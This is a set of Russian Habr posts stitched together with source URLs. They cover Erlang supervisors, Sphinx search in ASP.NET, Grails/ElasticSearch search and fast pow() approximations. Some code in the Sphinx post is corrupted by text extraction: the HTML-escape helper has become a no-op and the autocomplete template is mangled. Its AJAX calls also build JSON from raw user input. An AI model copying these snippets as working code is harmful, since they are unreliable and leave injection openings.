Вы можете увидеть завершенный eb\_sup.erl, [нажав здесь](http://spawnlink.com/otp-intro-4-supervisors-eb-sup-completed/index.html).
#### Добавление и удаление потомков во время выполнения
К несчастью, я не смог придумать остроумный сценарий, позволяющий вставить этот механизм в ErlyBank, но чувствовал, как важно отметить возможность динамически добавлять и удалять спецификации потомков в уже запущенный процесс контролёра, используя методы *[start\_child](http://www.erlang.org/doc/man/supervisor.html#start_child-2)* и *[delete\_child](http://www.erlang.org/doc/man/supervisor.html#delete_child-2)*.
Они довольно просты, так что я не буду повторять здесь руководство, на которое сослался; вы можете перейти непосредственно к нему и ознакомиться с этими методами.
#### Заключение
В этой статье о контроллерах я ввёл такие понятия, как дерево контроля, стратегии перезапуска, спецификации потомков и динамическое добавление и удаление потомков.
На этом заканчивается четвертая статья из цикла «Введение в Erlang/OTP». Пятая статья уже готова, запланирована к публикации в ближайшие несколько дней и представит [приложения](http://www.erlang.org/doc/man/application.html) (*applications*).
---
##### Статьи из серии
4. Использование контролёров для того, чтобы удержать ErlyBank на плаву (текущая статья)
3. [Введение в gen\_event: Уведомления об изменениях счета](http://habrahabr.ru/blogs/erlang/129136/)
Автор перевода — [tiesto](https://habrahabr.ru/users/tiesto/):
2. [Введение в gen\_fsm: Банкомат ErlyBank](http://habrahabr.ru/blogs/erlang/56196/)
1. [Введение в gen\_server: «ErlyBank»](http://habrahabr.ru/blogs/erlang/55708/)
0. [Введение в Open Telecom Platform/Открытую Телекомуникационную Платформу(OTP/ОТП)](http://habrahabr.ru/blogs/erlang/55657/)
-1. [Предыстория](http://habrahabr.ru/blogs/erlang/55651/) | https://habr.com/ru/post/129277/ | null | ru | null |
# Sphinx для ASP.NET через jTemplates
Есть у нас хобби — развивать интернет-магазин по продаже напитков и продуктов оптом.
Товары у нас появляются путем привлечения поставщиков и размещения их товаров в магазине.
Клиенты — владельцы ресторанов и кафе, которые заказывают товары оптом с доставкой на следующий день.
Когда количество позиций по товарам перевалило за 20 тыс., поиск через like в MS SQL стал слишком уж неверный, тем более когда поставщики загружали товар с ошибками или названия товаров были латиницей/кириллицей. После месяца различных ухищрений в процедуре поиска с конвертацией latin-cyrilic-latin, исправления грамматических ошибок, мы в конце концов осознали, что это тупиковый путь развития поиска.
#### Поиск решения
Нахмурив брови, мы решили подсмотреть, как же подобные проблемы решаются в других проектах, скажем на том же викимарте. К нашей зависти, поиск у них работал хорошо, даже исправлял наши ошибки в словах товаров. Например, по запросу «Коко кола», мы могли найти и «Кока-колы» и «Cocain». Что же за СУБД у них такая волшебная у них, воскликнули мы.
После недолгого поиска в интернетах технического решения, мы поняли, что нам нужен FullText Search Engine. Полетав в облаках, что мы сможем, наверное очень скоро, реализовать «поиск для людей», да еще и как бесплатный пирожок у нас могут появиться [facets](http://sphinxsearch.com/blog/2013/06/21/faceted-search-with-sphinx/) фильтры, мы стали искать на чем это реализовать.
И как оказалось, FullText Search есть в MS SQL 2008 Advanced Services уже встроенная в нашу СУБД! Поковырявшись в MS SQL с неделю и не найдя бесплатного пирожка в виде facets, мы набрели на [статью](http://stackoverflow.com/questions/4501729/what-search-tools-are-available-for-asp-net-site/4501783#4501783) о волшебных [Lucene.NET](http://lucenenet.apache.org/), [Solr](http://lucene.apache.org/solr/), [Sphinx](http://sphinxsearch.com/).
#### Выбор движка
После небольших тестов движков выше, мы отобрали Sphinx по следующим критериям:
1. Работает под Microsoft Windows
2. Есть поддержка разработчиков и большой FAQ
3. Работает с MS SQL
4. Есть готовый адаптер для .NET для связи с движком
5. Есть [facets](http://sphinxsearch.com/blog/2013/06/21/faceted-search-with-sphinx/)
#### К делу
##### Конфигурация Sphinx
Наш [конфиг](http://yadi.sk/d/dbWA0D_LFX5nF), в котором, собственно, ничего особенного.
Использование морфологий stem\_enru, soundex, metaphone (что это такое, хорошо описано [здесь](http://habrahabr.ru/post/147745/), за что спасибо [Puma](https://habrahabr.ru/users/puma/)).
Подключение к базе MS SQL и использование View по товарам, которые Sphinx периодически дергает. Но мы пошли немного дальше и расширили область Sphinx на поиск не только по товарам, но и по брендам, поставщикам и категориям.
##### Работа с Sphinx в ASP.NET
Для работы с Sphinx, мы используем опенсорсный [Sphinx.Client](https://code.google.com/p/sphinx-dotnet-client/).
Наш класс-помощник SphinxHelper для работы с Sphinx через Sphinx.Client.
**SphinxHelper**
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Sphinx.Client.Connections;
using Sphinx.Client.Commands.Search;
using System.Collections;
using Sphinx.Client.Commands.Collections;
using Sphinx.Client.Commands.Attributes.Filters;
namespace Project.Helpers
{
public class SphinxHelper
{
private static ConnectionBase CreateConnection()
{
PersistentTcpConnection p_connection = new PersistentTcpConnection("127.0.0.1", 9312);
p_connection.ConnectionTimeout = 10000;
return p_connection;
}
public static IList Query(string queryText, string indexes, int limitPerIndex)
{
return Query("", queryText, indexes, null, limitPerIndex, 0, MatchMode.Extended2, MatchRankMode.WordCount, ResultsSortMode.Extended, "@weight DESC", "");
}
public static IList Query(string select, string match, string indexes, AttributeFilterList filters, int pageSize, int offset, MatchMode matchMode, MatchRankMode rankingMode, ResultsSortMode sortMode, string sortBy, string groupBy)
{
IEnumerable p\_idxArray = indexes.Split(',');
SearchQuery p\_query = null;
pageSize = pageSize <= 0 ? 99999999 : pageSize;
IList p\_ret = new System.Collections.Generic.List();
using (ConnectionBase connection = CreateConnection())
{
SearchCommand p\_search = new SearchCommand(connection);
foreach (string p\_idx in p\_idxArray)
{
p\_query = new SearchQuery(match, p\_idx);
p\_query.Select = select;
p\_query.MatchMode = matchMode;
p\_query.RankingMode = rankingMode;
p\_query.SortMode = sortMode;
p\_query.SortBy = sortBy;
if (!String.IsNullOrEmpty(groupBy))
{
p\_query.GroupBy = groupBy;
p\_query.GroupSort = sortBy;
p\_query.GroupFunc = ResultsGroupFunction.Attribute;
if (!String.IsNullOrEmpty(sortBy))
{
p\_query.SortBy = string.Empty;
}
}
p\_query.Limit = pageSize;
p\_query.Offset = offset;
// Если есть фильтры, скопируем их
if (filters != null && filters.Count > 0)
foreach (AttributeFilterBase p\_filter in filters)
p\_query.AttributeFilters.Add(p\_filter);
p\_query.Select = select;
//Когда заработает переиндекс, надо будет делать мультиазапрос
//search.QueryList.Add(p\_query);
p\_search.QueryList.Clear();
p\_search.QueryList.Add(p\_query);
p\_search.Execute();
foreach (SearchQueryResult p\_result in p\_search.Result.QueryResults)
p\_ret.Add(p\_result);
}
return p\_ret;
}
}
}
}
```
##### Из SearchQueryResult в браузер пользователя
При генерации страницы поиска с брендами и товарами, мы используем [jTemplates](http://jtemplates.tpython.com), который получает данные от веб-сервиса, который в свою очередь дергает SphinxHelper.
**Генерация страницы поиска**
```
// Отрисовка данных
//brandId - фильтр по бренду
//sellerId - фильтр по поставщику
//categoryId - фильтр по категории
//specIds - Фильтр facets
//searchText - Фильтр по тексту
this.GetGroups = function (brandId, sellerId, categoryId, specIds, searchText) {
var waiter = $('#waiter_' + brandId);
waiter.css({ visibility: 'visible' });
var brandGroups = $('#brandGroups_' + brandId);
brandGroups.attr('loaded', true);
$.ajax({
type: "POST",
context: { brandId: brandId, sellerId: sellerId, categoryId: categoryId, specIds: specIds, searchText: searchText },
url: currentHost() + "WebServices/Products.asmx/GetBrandGroups",
data: "{brandID:'" + brandId + "',sellerID:'" + sellerId + "', categoryID:'" + categoryId + "', specIds:'" + specIds + "',searchText:'" + searchText + "'}",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: brandsInRow2.GroupCallSuccess,
error: brandsInRow2.GroupCallError
});
}
this.GroupCallError = function (request, status, error) {
alert(request.responseText);
}
this.GroupCallSuccess = function (data, status) {
var data_decoded = $.parseJSON(data.d);
var brandGroups = $('#brandGroups_' + this.brandId);
brandGroups.setTemplate($("#templateProducts").html());
brandGroups.setParam('GetProductPriceActuality', brandsInRow2.GetProductPriceActuality);
brandGroups.setParam('GetProductPriceActuality1', brandsInRow2.GetProductPriceActuality1);
brandGroups.setParam('GetSpecDescription', brandsInRow2.GetSpecDescription);
brandGroups.setParam('GetBrandPriceName', brandsInRow2.GetBrandPriceName);
brandGroups.setParam('GetOrderProductFrameLink', brandsInRow2.GetOrderProductFrameLink);
brandGroups.setParam('GetSellerInfoFrameLink', brandsInRow2.GetSellerInfoFrameLink);
brandGroups.setParam('GetMessageSendFrameLink', brandsInRow2.GetMessageSendFrameLink);
brandGroups.processTemplate(data_decoded);
brandGroups.css({ display: 'block' });
// активируем подсказки
brandsInRow2.InitTips();
var waiter = $('#waiter_' + this.brandId);
waiter.css({ visibility: 'hidden' });
}
this.GetLinkOfferName = function (prodCnt, sellersCnt) {
var p_offers = prodCnt + ' ' + formatToRussian1(prodCnt, "предложени");
if (sellersCnt > 1)
p_offers = p_offers + ' ' + formatToRussian(sellersCnt, "поставщик");
return p_offers;
}
this.GetBrandCountName = function (brandsCnt) {
return brandsCnt.toString() + ' ' + formatToRussian(brandsCnt, "бренд");
}
this.GetBrandPriceName = function (minPrice, maxPrice) {
if (minPrice == maxPrice)
return formatPrice(minPrice);
return 'От ' + formatPrice(minPrice) + ' до ' + formatPrice(maxPrice)
}
this.GetProductPriceActuality = function (product) {
return product.DaysUpdated > 30 ? "Цена может быть неактуальна на сегодняшний день, точную цену необходимо уточнить у дистрибьютора " + product.CompanyName + "." : "";
}
this.GetProductPriceActuality1 = function (product) {
return product.DaysUpdated > 30 ? "" : "hidden";
}
this.GetSpecDescription = function (specs) {
var escaped = specs;
var findReplace = [[/&/g, "&"], [//g, ">"], [/"/g, '"'], [/'/g, "'"]]
for (var item in findReplace)
escaped = escaped.replace(findReplace[item][0], findReplace[item][1]);
return escaped;
}
this.GetOrderProductFrameLink = function (productId) {
return currentHost() + "OrderProductFrame.aspx?ProductID=" + productId;
}
this.GetSellerInfoFrameLink = function (sellerId) {
return currentHost() + "SellerShortInfoFrame.aspx?SellerID=" + sellerId;
}
this.GetMessageSendFrameLink = function (productId) {
return currentHost() + "MessageSendFrame.aspx?ProductID=" + productId;
}
```
Также было очень просто реализовать [AutoComplete](http://jqueryui.com/autocomplete/) для строки поиска, которая тоже получает данные от веб-сервиса.
**AutoComplete**
```
function setAutoComplete(s) {
var elem = $("#searchTextBox");
elem.autocomplete({
minLength: 2,
source: function (request, response) {
$.ajax({ type: "POST",
url: currentHost() + "WebServices/Common.asmx/GetSearchComplete",
data: "{searchTerm:'" + elem.val() + "'}",
contentType: "application/json; charset=utf-8",
success: function (msg) {
if (msg.d != "") response($.parseJSON(msg.d)); else response('')
}
});
},
select: function (event, ui) {
elem.addClass('ui-autocomplete-loading');
window.location.href = ui.item.linkUrl;
elem.selected = ui.item;
return false;
},
dataType: "json"
})
.data("autocomplete")._renderItem = function (ul, item) {
return $("-
")
.data("item.autocomplete", item)
.append("[* ![](" + item.pictUrl + ")
* " + item.label + "](" + item.linkUrl + ")")
.appendTo(ul);
};
elem.keydown(function (e) {
if (e.keyCode == 13) {
if (typeof (elem.selected) == 'undefined') {
elem.addClass('ui-autocomplete-loading');
SearchClick(); // Переход на страницу поиска
e.preventDefault();
}
}
});
}
```
От перехода на Sphinx, мы получили следующие пирожки:
1. Человеческий поиск
2. Генерация страниц поиска — на клиенте
3. Разгрузка базы данных
Не могу привести точные замеры времени генерации страниц до и с помощью Sphinx, так как на радостях забыли записать что было до. Но скажу, что теперь у нас в базе более 20 тыс. продуктов и всё работает просто очень быстро (генерация менее секунды).
Для поддержки индекса продуктов в актуальном состоянии (а актуальные они в базе данных) мы будем использовать [дельта-индекс](http://sphinxsearch.com/docs/archives/1.10/delta-updates.html), обновляемый каждые 10 минут. А пока, основной индекс у нас полностью перестраивается за 5 секунд каждые пол часа. Разгрузка MS SQL помогла избежать блокировок таблиц во время выполнения длительных запросов, которые происходят при импорте прайс-листа поставщиком.
P.S. Ссылки на проект, вроде бы, почистил, так как хабраэффект он не переживет. | https://habr.com/ru/post/208236/ | null | ru | null |
# Полнотекстовый поиск в Grails
Подключить полнотекстовый поиск в [Grails](http://grails.org/) — задача довольно легкая. Для этого используется плагин [Searchable](http://www.grails.org/plugin/searchable), который делает все сущности Grails-приложения индексируемыми. Searchable позволяет абстрагировать весь процесс индексирования и поиска. При этом сам плагин использует библиотеку [Compass](http://compass-project.org/), которая следит за тем, чтобы при изменении объекта (т.е. при сохранении в БД) он автоматически переиндексировался. Сам по себе Compass по сути является довольно мощным средством «поискового ORM»:
1. Compass на самом низком уровне использует [Lucene](http://lucene.apache.org/), но со специальной реализацией индекса.
2. Compass сопоставляет каждому domain-объекту документ Lucene. Идентификатор объекта при этом становится идентификатором документа.
3. Поля объекта превращаются в поля документа.
4. Результатом поиска тоже являются объекты. Их Compass создает (десериализует) на основе данных из индекса.
5. Compass умеет обрабатывать вложенные объекты (это называется searchable component) и ссылки на объекты (searchable reference). Вложенные объекты будут сохранятся внутри основного документа.
6. Compass умеет транзакции.
Работать с объектами неизмеримо удобнее; для того, чтобы объявить domain-класс Grails индексируемым, нужно дописать к нему конфигурационный closure такого вида:
```
class Post {
static searchable = {
category index: 'not_analyzed', excludeFromAll: true
title boost: 2.0
comments component: true
}
static hasMany = [comments: Comment]
User author
String title, post, category
Date createdAt
}
```
Теперь все вновь созданные экземпляры Post будут индексироваться.
В общем-то, больше ничего делать не надо. Можно уже писать поисковые запросы вида:
```
Post.search("иголка в стоге сена")
```
и результатом будут сущности вашего приложения! Можно использовать язык запросов Lucene.
На самом деле мне не хотелось сейчас пересказывать документацию по Searchable. Есть в нем некие проблемы. Проистекают они из того, что Compass — технически сложный и универсальный продукт, который может использовать как Lucene, так и другие поисковые движки. Поэтому поддерживать весь этот код дальше у его автора нет никакого желания. И его автор, Shay Banon, решил сделать кое-что менее универсальное, но более крутое — поисковую систему [ElasticSearch](http://www.elasticsearch.org/).
ElasticSearch:1. Основан на Lucene 3
2. Изначально проектировался как масштабируемый и доступный (highly available)
3. Содержит механизмы кэширования (кстати, непохожие на [Solr](http://lucene.apache.org/solr/)).
Концептуально ElasticSearch довольно сильно отличается от Compass. Фактически ElasticSearch представляет собой индексированное хранилище JSON-объектов. Это хранилище умеет различать разные типы объектов, обрабатывать вложенные объекты и т.п. Ну и самое главное — умеет искать. Язык запросов тоже представляет собой JSON и предоставляет почти такой же набор функций, как и «голый» Lucene.
Compass — исключительно embedded-решение. Что касается ElasticSearch, то он может существовать и как embedded (внутри JVM) и как HTTP-демон. К демону ElasticSearch может обращаться любая программа, которая знает JSON, будь то PHP-код, Java, Ruby или .NET.
Для тех, кто хочет досконально понять, какой софт тут задействован, я попытался изобразить это на диаграмме:
Здесь видно аж три уровня. Слева изображен текущий стек на основе Compass. Cправа — стек на основе ElasticSearch. Однако распределение функций у Grails-плагинов не совсем одинаковое (например, Compass умеет конвертировать Java-объекты в документы Lucene, а ElasticSearch — нет).
Что теперь светит тем несчастным, которые используют Searchable (а это были и мы в том числе)?* Searchable больше не развивается. Плагин на диво стабильный, но если что — не ждите багфиксов.
* Compass не развивается. Версии с поддержкой Lucene 3 не будет.
* Нет Lucene 3 — нет большого количества багфиксов и нового функционала. А функционал очень нужен — хотя бы улучшения в морфологии.
Сейчас наблюдается некий переходный период, когда:
* Функционала Searchable уже не хватает;
* Функционал ElasticSearch еще не интегрирован в Grails должным образом.
Однако само собой такие вещи не делаются. Что я могу предложить интересующимся? Сейчас в недрах интернета начал развиваться [новый Grails-плагин](http://grails.org/plugin/elasticsearch) для ElasticSearch. Цели при разработке плагина ставятся такие:
* Максимальная совместимость с Searchable по настройкам
* Прозрачность для пользователя (нет необходимости вникать, как работает ElasticSearch)
* Минимальные требования к пользователю по настройке (установил — запустил).
Плагин уже успешно работает в реальных приложениях. Но нужно больше пользователей и нужен feedback! Нужны люди, которые начнут активно использовать плагин и укажут на проблемы, которые мы сейчас, возможно, не видим.
Где можно взять плагин?* Стабильную версию — в репозитории Grails: `grails install-plugin elasticsearch`
* [Основная ветка плагина — автор Manuarii Stein](https://github.com/mstein/elasticsearch-grails-plugin)
* [Моя ветка плагина](https://github.com/spn/elasticsearch-grails-plugin)
Моя ветка, конечно, лучше :-) — там больше функционал и она постоянно прогоняется через наши Grails-приложения с целью вскрыть все проблемы. Периодически мои изменения добавляют в основную ветку, но процесс этот идет с запозданием.
Установить код из Github можно следующим образом:
1. Предполагаем, что у вас уже есть рабочее Grails-приложение.
2. Если не хочется возни с git и сборкой, можно поставить уже упакованный плагин:
```
grails install-plugin https://github.com/downloads/spn/elasticsearch-grails-plugin/grails-elasticsearch-0.14.2.2.zip
```
3. Если хочется собрать самим, это делается чуть сложнее:
```
wget https://github.com/spn/elasticsearch-grails-plugin/tarball/master
tar xvzf spn-elasticsearch-grails-plugin-3fde6c4.tar.gz
cd spn-elasticsearch-grails-plugin-3fde6c4
grails package-plugin
```
— получим тот же самый упакованный плагин (имя файла из ссылки Downloads в github)
В общем, призываю пробовать. Для информации — плагин сам может работать как текстовое Grails-приложение, просто наберите
```
grails run-app
```
в папке с плагином. | https://habr.com/ru/post/114363/ | null | ru | null |
# Ускоряем pow
В этой статье я хочу поделиться несколькими нестандартными алгоритмами для быстрого возведения числа в степень, а также продемонстрировать их реализацию и сравнить их быстродействие в C++, C# и Java.
Сравнить точность алгоритмов можно прямо сейчас на [этой странице](https://alordash.github.io/FastExponentiation/publish/wwwroot).
В конце будет краткая памятка по тому, где и когда лучше применять какой из методов. При правильном выборе можно добиться увеличения скорости вычислений в 5 раз при погрешности ~1%, а иногда и вовсе без неё.
Содержание
----------
1. Алгоритмы (5 штук)
2. Сравнение производительности
3. Сравнение точности
4. Вывод
На повестке дня у нас есть 5 алгоритмов: "Старая аппроксимация", "Бинарная степень", "Делящая быстрая степень", "Дробная” быстрая степень" и "Другая” аппроксимация".
Названия алгоритмам я придумал сам (за исключением бинарной степени), так как нигде не нашёл официальных версий, но вы можете называть их иначе.
Для расчета прироста скорости и погрешности будем сравнивать эти методы со стандартными функциями pow, Math.Pow и Math.pow в C++, C# и Java соответственно. О том, как производилось сравнение, будет сказано в частях “Сравнение производительности” и “Сравнение точности”.
### Алгоритм: "Старая аппроксимация"
*Увеличение скорости*: в ~11 раз
*Погрешность*: <2%
*Ограничения*: приемлемая точность только для степеней от -1 до 1
Реализация в C++:
```
double OldApproximatePower(double b, double e) {
union {
double d;
long long i;
} u = { b };
u.i = (long long)(4606853616395542500L + e * (u.i - 4606853616395542500L));
return u.d;
}
```
Реализация в C# и Java
```
// C#
double OldApproximatePower(double b, double e) {
long i = BitConverter.DoubleToInt64Bits(b);
i = (long)(4606853616395542500L + e * (i - 4606853616395542500L));
return BitConverter.Int64BitsToDouble(i);
}
```
```
// Java
double OldApproximatePower(double b, double e) {
long i = Double.doubleToLongBits(b);
i = (long)(4606853616395542500L + e * (i - 4606853616395542500L));
return Double.longBitsToDouble(i);
}
```
Этот метод основан на алгоритме, использованном в игре Quake III Arena 2005 года. Он возводил число x в степень -0.5, т.е. находил значение: 
Разработчики для этого написали такую функцию
```
float FastInvSqrt(float x) {
float xhalf = 0.5f * x;
int i = *(int*)&x // evil floating point bit level hacking
i = 0x5f3759df - (i >> 1); // what the fuck?
x = *(float*)&i
x = x*(1.5f-(xhalf*x*x));
return x;
}
```
Узнал я об этом методе из статьи [*«Магическая константа» 0x5f3759df*](https://habr.com/ru/company/infopulse/blog/336110/). В ней подробно объясняется как работает этот код и как его можно улучшить для работы с любой степенью и double’ми вместо float’ов. В моих кодах также есть магическая константа **4606853616395542500L**. Нашёл я её по следующей формуле (она описана в [статье выше](https://habr.com/ru/company/infopulse/blog/336110/)):
```
//C# or Java
long doubleApproximator = (long)((1L << 52) * ((1L << 10) - 1.0730088));
```
Число **1.0730088** было подобрано вручную для достижения наибольшей точности вычислений.
### Алгоритм: Бинарное возведение в степень
*Увеличение скорости*: в среднем в ~7.5 раз, преимущество сохраняется до возведения чисел в степень 134217728 в C++/C# и 4096 в Java.
*Погрешность*: **нет**, но стоит отметить, что операция умножения не ассоциативна для чисел с плавающей точкой, т.е. 1.21 \* 1.21 не то же самое, что 1.1 \* 1.1 \* 1.1 \* 1.1, однако при сравнении со стандартными функциями погрешности, как уже сказано ранее, не возникает.
*Ограничения*: степень должна быть целым числом не меньше 0
Реализация в C++:
```
double BinaryPower(double b, unsigned long long e) {
double v = 1.0;
while(e != 0) {
if((e & 1) != 0) {
v *= b;
}
b *= b;
e >>= 1;
}
return v;
}
```
Реализация в C# и Java
```
// C#
double BinaryPower(double b, UInt64 e) {
double v = 1d;
while(e != 0) {
if((e & 1) != 0) {
v *= b;
}
b *= b;
e >>= 1;
}
return v;
}
```
```
// Java
double BinaryPower(double b, long e) {
double v = 1d;
while(e > 0) {
if((e & 1) != 0) {
v *= b;
}
b *= b;
e >>= 1;
}
return v;
}
```
Широко известный алгоритм для возведения любого числа в целую степень с абсолютной точностью. Принцип действия прост: есть целая степень **e**, чтобы получить число **b** в этой степени нужно возвести это число во все степени 1, 2, 4, … 2n (в коде этому соответствует **b** \*= **b**), каждый раз сдвигая биты **e** вправо (e >>= 1) пока оно не равно 0 и тогда, когда последний *бит* **e** не равен нулю ((e & 1) != 0), домножать результат **v** на полученное **b**.
Пример: возвести 2 в степень 5.v = 1, e = 5 = 1012, b = 2
Шаги цикла:
1. e = 1012 - последний 1 → v \*= b → v = 2
b \*= b → b = 4
e >>= 1 → e = 102 = 2
2. e = 102 - последний 0 → пропускаем
b \*= b → b = 16
e >>= 1 → e = 1
3. e = 12 - последний 1 → v \*= b → v = 32
...
e = 0 → выход из цикла
Результат: v = 32, что и есть 25.
### Алгоритм: "Делящая быстрая степень"
*Увеличение скорости*: в ~3.5 раз
*Погрешность*: ~13%
Примечание: в коде ниже присутствуют проверки для особых входных данных. Без них код работает всего на 10% быстрее, но погрешность возрастает в десятки раз (особенно при использовании отрицательных степеней).
Реализация в C++:
```
double FastPowerDividing(double b, double e) {
if(b == 1.0 || e == 0.0) {
return 1.0;
}
double eAbs = fabs(e);
double el = ceil(eAbs);
double basePart = OldApproximatePower(b, eAbs / el);
double result = BinaryPower(basePart, (unsigned long long)el);
if(e < 0.0) {
return 1.0 / result;
}
return result;
}
```
Реализация в C# и Java
```
// C#
double FastPowerDividing(double b, double e) {
if(b == 1d || e == 0d) {
return 1d;
}
var eAbs = Math.Abs(e);
var el = Math.Ceiling(eAbs);
var basePart = OldApproximatePower(b, eAbs / el);
var result = BinaryPower(basePart, (UInt64)el);
if(e < 0d) {
return 1d / result;
}
return result;
}
```
```
// Java
double FastPowerDividing(double b, double e) {
if(b == 1d || e == 0d) {
return 1d;
}
var eAbs = Math.abs(e);
var el = Math.ceil(eAbs);
var basePart = OldApproximatePower(b, eAbs / el);
var result = BinaryPower(basePart, (long)el);
if(e < 0d) {
return 1d / result;
}
return result;
}
```
Узнав о методе аппроксимации чисел в степенях от -1 до 1 и о бинарном методе, мне захотелось объединить их для создания функции, которая могла бы быстро возводить число в любую степень. Для этого я придумал следующую формулу:
Мы разбиваем степень на две части: e / el, которая всегда меньше или равна 1, и el, которая является целым числом. Теперь для расчета x^(e / el) мы можем использовать “старую” аппроксимацию, а для x^el - бинарную степень.Таким образом, объединяя этих два узкоспециализированных метода, мы получили универсальный метод. Но эту идею можно реализовать по-другому.
### Алгоритм: "Дробная быстрая степень"
*Увеличение скорости*: в ~4.4 раза
*Погрешность*: ~0.7%
Реализация в C++:
```
double FastPowerFractional(double b, double e) {
if(b == 1.0 || e == 0.0) {
return 1.0;
}
double absExp = fabs(e);
unsigned long long eIntPart = (long long)absExp;
double eFractPart = absExp - eIntPart;
double result = OldApproximatePower(b, eFractPart) * BinaryPower(b, eIntPart);
if(e < 0.0) {
return 1.0 / result;
}
return result;
}
```
Реализация в C# и Java
```
// C#
double FastPowerFractional(double b, double e) {
if(b == 1d || e == 0d) {
return 1d;
}
double absExp = Math.Abs(e);
UInt64 eIntPart = (UInt64)absExp;
double eFractPart = absExp - eIntPart;
double result = OldApproximatePower(b, eFractPart) * BinaryPower(b, eIntPart);
if(e < 0d) {
return 1d / result;
}
return result;
}
```
```
// Java
double FastPowerFractional(double b, double e) {
if(b == 1d || e == 0d) {
return 1d;
}
double absExp = Math.abs(e);
long eIntPart = (long)absExp;
double eFractPart = absExp - eIntPart;
double result = OldApproximatePower(b, eFractPart) * BinaryPower(b, eIntPart);
if(e < 0d) {
return 1d / result;
}
return result;
}
```
По сути, любое число состоит из суммы двух частей: целой и дробной. Целую можно использовать для возведения основания в степень при помощи бинарного возведения, а дробную - при помощи “старой” аппроксимации.
В результате получаем следующую формулу:
Она, в отличии от формулы “делящего” метода, никак не искажает дробную часть. Это позволяет добиться намного большей точности.
### Алгоритм: "Другая аппроксимация"
*Увеличение скорости*: в ~9 раз
*Погрешность*: <1.5%
*Ограничения*: точность стремительно падает при повышении абсолютного значения степени и остается приемлемой в промежутке [-10, 10]
Реализация в C++:
```
double AnotherApproximatePower(double a, double b) {
union {
double d;
int x[2];
} u = { a };
u.x[1] = (int)(b * (u.x[1] - 1072632447) + 1072632447);
u.x[0] = 0;
return u.d;
}
```
Реализация в C# и Java
```
double AnotherApproxPower(double a, double b) {
int tmp = (int)(BitConverter.DoubleToInt64Bits(a) >> 32);
int tmp2 = (int)(b * (tmp - 1072632447) + 1072632447);
return BitConverter.Int64BitsToDouble(((long)tmp2) << 32);
}
```
```
double AnotherApproxPower(double a, double b) {
int tmp = (int)(Double.doubleToLongBits(a) >> 32);
int tmp2 = (int)(b * (tmp - 1072632447) + 1072632447);
return Double.longBitsToDouble(((long)tmp2) << 32);
}
```
Про историю этого алгоритма я ничего не знаю, я просто нашёл его тут: [Optimized pow() approximation for Java, C / C++, and C#](https://martin.ankerl.com/2007/10/04/optimized-pow-approximation-for-java-and-c-c/). Возможно, если использовать его в “делящей–” и “дробной быстрых степенях" вместо “старой” аппроксимации, можно достигнуть лучшей точности ценой немного меньшей скорости.
Сравнение производительности
----------------------------
Сравнение производительности производилось следующим образом: генерируем 500000 чисел-оснований в промежутке от 0.0 до 99999.0 и 500000 чисел-степеней в промежутке от A до B. Запоминаем текущее время, запускаем цикл на 500000 итераций, вычисляем значение основания в степени через функцию f и результат суммируем в calculationResult. По окончанию цикла снова замеряем время, разница во времени и есть время выполнения. Данная процедура повторяется 20 раз, конечный результат - усредненный за все 20 тестов.
Псевдокод сравнения производительности в C++:
```
(long long iterationsCount = 500000, double* bases, double* exps)
double calculationResult = 0.0;
double* base = bases;
double* exp = exps;
double* baseEnd = base + iterationsCount;
auto start = std::chrono::high_resolution_clock::now();
while(base < baseEnd) {
calculationResult += f(*base++, *exp++);
}
auto finish = std::chrono::high_resolution_clock::now();
auto time = std::chrono::duration_cast(finish - start).count();
```
Аналогично измерялась скорость в C# и Java. В репозитории проекта можно посмотреть на реальный код для сравнения производительности в [C++](https://github.com/alordash/FastExponentiation/blob/main/FastExponentiation/FastExponentiationBenchmarkCpp/FastExponentiationBenchmarkCpp.cpp), [C#](https://github.com/alordash/FastExponentiation/blob/main/FastExponentiation/FastExponentiationPrimitiveBenchmark/PrimitveBenchmark.cs) и [Java](https://github.com/alordash/FastExponentiation/blob/main/Java/FastExponentiationBenchmarkJava/src/FastExponentiationBenchmarkJava.java).
Тесты производились в каждом языке для степеней в промежутках [-10.5, 0], [0, 2], [0, 10.5], [0, 25.75], [0, 55.5]. Прирост скорости каждого метода по сравнению со стандартным в каждом языке для каждого сета степеней изображен на графиках ниже:
Рассмотреть подробнее результаты тестов можно посмотреть в [этой таблице](https://github.com/alordash/FastExponentiation/blob/main/Performance%20results/Results.xlsx).
Тесты проводились на i5-10300H, 19.8 DDR4 GB usable RAM, 64-битная платформа.
C++: MSVC + /O2 + /Oi + /Ot
C#: optimize code
Сравнение точности
------------------
Для рассчитывания точности я возводил очередное число в определенную степень стандартным и одним из нестандартных способами, потом делил большее из полученных чисел на меньшее, складывал все эти отношения вместе, а в конце делил их на количество сравнений. Так и получалось значение погрешности.
Основания и степени генерировались также, как и в алгоритме сравнения производительности.
Для более гибкого и удобного тестирования я создал [Blazor страницу](https://alordash.github.io/FastExponentiation/publish/wwwroot/), на которой можно построить графики реальных и полученных одним из методов значений чисел, лежащих в заданном промежутке и возведенных в указанную степень:
Ниже на этой же странице можно самим провести сравнение точности каждого метода для всех степеней, лежащих в заданном промежутке:
Вывод
-----
Каждый из перечисленных мною методов дает различную точность и скорость. Поэтому, прежде чем использовать стандартную функцию возведения в степень, стоит проанализировать какие у вас будут входные данные, и насколько вам важна точность. Выбор правильного метода может существенно ускорить работу вашей программы. Чтобы сделать этот процесс проще, я подготовил вот такую шпаргалку:
---
Код всего проекта доступен на [гитхабе](https://github.com/alordash/FastExponentiation). Там вы найдете и реализации всех алгоритмов в трех языках, и программы для сравнения точности для каждого языка, и код сайта.
Спасибо за внимание. Надеюсь эта статья поможет сделать ваш код немного быстрее. | https://habr.com/ru/post/584662/ | null | ru | null |
# Python, Модули, SWIG, Windows
Эта статья – описание моих экспериментов по сборке модулей для Python. Мне понадобился высокоуровневый интерфейс к библиотеке [LibRaw](http://www.libraw.org/), притом в первую очередь под Windows.
Последний раз модуль для питона на C++ я писал в 2004 году. Модуль к мертворожденной (к счастью не мной) библиотеке ( я тупо продавал свои умения за зарплату). Естественно, навыки не закрепились. Помню, что [SWIG](http://ru.wikipedia.org/wiki/SWIG) сильно облегчил мне работу, поскольку нужен был объектный интерфейс, а «ручками» его писать ломало. Память у меня профессиональная – то есть избирательная и короткая, поэтому пришлось прыгать сначала.
Это статья только про настройку [SWIG](http://www.swig.org/) для Python под Windows. Писать же модули на C/C++ с использованием SWIG [гораздо проще](http://ru.wikipedia.org/wiki/SWIG), чем всё настроить (кстати, у меня такое впечатление, что это парадигма современного программирования).
